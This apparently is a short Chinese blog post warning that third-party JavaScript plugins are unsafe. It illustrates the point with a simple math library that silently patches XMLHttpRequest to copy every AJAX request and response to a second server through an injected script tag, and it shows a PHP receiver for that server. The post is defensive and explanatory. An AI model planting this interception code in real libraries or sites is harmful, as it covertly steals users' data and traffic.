js外掛的安全問題
阿新 • • 發佈:2018-12-10
js外掛的安全問題
01 說明
js的第三方是不安全的,無論是npm引入還是傳統引入,本文將通過一個例子,來說明不得隨意引入第三方js。
02 引入js
我們有一個場景,需要一個計算的js,於是我們引入了下面,程式碼math.js:
(function () {
window.math = function(a, b) {
return a + b;
}
})();
上面程式碼是一個開源庫,但是問題來了。
03 問題
看下面程式碼,在math.js中,
可以通過悄無聲息的代理了我們的ajax物件。
並通過一個跨域請求傳送給了另一臺伺服器。
這樣我們所有的互動都可以被監控到。
(function (open) {
window.math = function(a, b) {
return a + b;
}
// 代理ajax方法
XMLHttpRequest.prototype.open = function () {
var args = arguments;
this.addEventListener('readystatechange', function (data) {
if (this.readyState === 4) {
console.log(args);
console. log(this.responseText);
// 獲取資料後傳送一個跨越請求
var script = document.createElement('script');
script.src = "http://localhost/phpCode/web/index.php?args="
+ encodeURIComponent(args[1])
+'&response='+ this.responseText;
document.head.append(script);
}
} , false);
open.apply(this, args);
};
})(XMLHttpRequest.prototype.open);
另一臺伺服器程式碼:
伺服器,完全可以接受到互動資料。
<?php
$args = $_GET['args'];
$response = $_GET['response'];
echo 'alert(1);';
?>
04 重視web安全
所以奉勸大家,少用外掛,注重安全。